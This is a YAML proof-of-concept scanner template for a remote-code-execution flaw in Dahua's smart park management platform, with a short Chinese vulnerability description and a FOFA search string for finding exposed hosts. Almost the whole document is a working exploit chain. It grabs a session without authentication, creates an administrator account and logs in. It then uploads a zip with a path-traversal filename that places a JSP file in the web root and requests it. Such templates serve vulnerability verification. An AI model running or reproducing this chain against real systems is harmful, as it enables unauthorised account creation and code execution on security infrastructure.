漏洞描述
大华智慧园区综合管理平台在处理用户请求数据的过程中,没有足够的检查和过滤,可能导致恶意用户执行任意代码。
FOFA: body="/WPMS"
header_string = "hauc"
id: dahua-sso-initsession-action-create-user
info:
name: 大华智慧园区综合管理平台远程代码执行漏洞
author: xpoc
severity: critical
verified: true
description: |
大华智慧园区综合管理平台在处理用户请求数据的过程中,没有足够的检查和过滤,可能导致恶意用户执行任意代码。
FOFA: body="/WPMS"
header_string = "hauc"
reference:
- https://stack.chaitin.com/techblog/detail?id=103
tags: dahua
created: 2023/06/22
set:
rboundary: randomLowercase(8)
username: randomLowercase(8)
password: randomLowercase(8)
randfile: randomLowercase(8)
filename: string("../../../../../../../../../../../../../opt/tomcat/webapps/upload/" + randfile + ".jsp")
randstring: randomLowercase(8)
filecontent: bytes("<% out.print(\"" + randstring + "\"); new java.io.File(application.getRealPath(request.getServletPath())).delete();%>")
zip: base64Decode("UEsDBBQACAAIAAAAAAAAAAAAAAAAAAAAAABTAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3RvbWNhdC93ZWJhcHBzL3VwbG9hZC90ZXN0MTIzdGVzdDEyMy5qc3AcyMEKwjAMBuBXCYVBy6AvMPHoWfS6S3A/MxLSmmXz9UWv32mgtkftLhZ5TolGcrZlCxdbaaQ0pzKR4UMvPrhKqxdRZO5d5cEhzeqKuIH1yvHMjveOLX52hx+K+HMppS5QBHKZhvM3AAD//1BLBwhfZZzKawAAAHUAAABQSwECFAAUAAgACAAAAAAAX2WcymsAAAB1AAAAUwAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3RvbWNhdC93ZWJhcHBzL3VwbG9hZC90ZXN0MTIzdGVzdDEyMy5qc3BQSwUGAAAAAAEAAQCBAAAA7AAAAAAA")
encPass: md5(username + ":dss:" + password)
rules:
r0:
request:
method: GET
path: /admin/sso_initSession.action
expression: |
"[0-9a-zA-Z]{32}".bmatches(response.body) && response.headers["content-length"] == "32"
output:
search: |
'(?P<sid>[0-9a-zA-Z]{32})'.bsubmatch(response.body)
sid: search['sid']
r1:
request:
method: POST
path: /admin/user_save.action
headers:
Cookie: JSESSIONID={{sid}}
Content-Type: multipart/form-data; boundary=----{{rboundary}}
body: "------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.userType\"\r\n\
\r\n\
0\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.ownerCode\"\r\n\
\r\n\
001\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.isReuse\"\r\n\
\r\n\
0\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.macStat\"\r\n\
\r\n\
0\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.roleIds\"\r\n\
\r\n\
1\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.loginName\"\r\n\
\r\n\
{{username}}\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"displayedOrgName\"\r\n\
\r\n\
{{username}}\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.loginPass\"\r\n\
\r\n\
{{password}}\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"checkPass\"\r\n\
\r\n\
{{password}}\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.groupId\"\r\n\
\r\n\
0\r\n\
------{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"userBean.userName\"\r\n\
\r\n\
{{username}}\r\n\
------{{rboundary}}--"
expression: response.body.bcontains(b'validationError:::用户名称已存在:::validationError') || (response.status == 200 && response.headers['content-length'] == "0")
r2:
request:
method: POST
path: /WPMS/getPublicKey
headers:
Content-Type: application/json
body: |
{"loginName":"{{username}}"}
expression: response.body.bcontains(b'"publicKey":')
output:
search: |
'"publicKey":"(?P<pubkey>.*?)"'.bsubmatch(response.body)
pubkey: search['pubkey']
enc_password: base64(rsaEncryptPKCS1v15(bytes(password),pubkey))
r3:
request:
method: POST
path: /WPMS/login
headers:
Content-Type: application/json
body: |
{"loginName":"{{username}}","loginPass":"{{enc_password}}","timestamp":"16853622671401904168273612873678126378126387"}
expression: response.body.bcontains(b'"success":"true"')
output:
search: |
'"token":"(?P<token>.*?)"'.bsubmatch(response.body)
token: search['token']
r4:
request:
method: GET
path: /admin/login_login.action?subSystemToken={{token}}
headers:
Cookie: JSESSIONID={{sid}}
expression: true
r5:
request:
method: POST
path: /admin/recover_recover.action?password={{encPass}}
headers:
Cookie: JSESSIONID={{sid}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9c9BBHdk0NgAjoxz
body: "------WebKitFormBoundary9c9BBHdk0NgAjoxz\r\n\
Content-Disposition: form-data; name=\"recoverFile\"; filename=\"test1.zip\"\r\n\
Content-Type: application/zip\r\n\
\r\n\
{{zip}}}\r\n\
------WebKitFormBoundary9c9BBHdk0NgAjoxz--
"
expression: true
r6:
request:
method: GET
path: /upload/{{randfile}}.jsp
expression: response.body.bcontains(bytes(randstring))
expression: r0() && r1() && r2() && r3() && r4() && r5()